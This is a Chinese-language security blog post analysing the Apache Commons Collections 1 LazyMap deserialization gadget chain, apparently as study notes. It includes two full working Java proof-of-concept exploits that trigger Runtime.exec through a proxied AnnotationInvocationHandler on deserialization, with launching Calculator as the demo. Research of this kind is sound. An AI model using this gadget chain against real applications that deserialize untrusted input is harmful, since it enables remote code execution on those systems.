CommonsCollections1利用链分析---LazyMap链

前言

摆了一两天,补上前面没分析完的CommonsCollections1利用链,这条LazyMap链应该才是正版的CC1链hhh

image-20230110182239903分析

由上回我们知道,当时找到三条Map链,之前我们找的是TransformedMap,这次我们分析LazyMap

image-20221106225714696

这个get方法里面也调用了transform,我们继续向上看

image-20221106225850281

发现了这里也有之前出现过的decorate方法,这个类的构造函数是protected,无法直接获取,所以我们又可以通过decorate方法来new一个LazyMap对象。我们构造POC如下

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections11 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> lazyClass = LazyMap.class;
Method getMethod = lazyClass.getMethod("get", Object.class);
getMethod.invoke(lazymap, runtime);
}
}

image-20221106230159359

可以执行,我们继续向上走,看谁调用了get方法,这里我们找到了AnnotationInvocationHandler的invoke() 方法

image-20221106230739533

恰巧这个类里也有readObject方法

但问题是,我们怎么样触发这个invoke方法,这里就要有之前写过的动态代理的知识,

一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。

我们找到之前的entrySet()方法,如果我们把memberValues 改为代理对象,当它调用entrySet的时候,就一定会调用invoke方法。然后完成这条链的利用

image-20221106231043486

我们拿上节的POC来分析

这个就是我们要代理的实例

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, decorateMap);

然后生成代理类

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);

最终的POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections11 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "qqw");
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

image-20221106232745948

最后再放一下soserial的链子图

image-20221106232641448

总结

  • 再去理解下java的反射机制
  • 多看看其他师傅的分析文章
  • 反序列化的知识
  • 动态代理机制

CommonsCollections1利用链分析---LazyMap链

https://lhxhl.github.io/2022/11/06/CC11/

作者

秋秋晚

发布于

2022-11-06

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...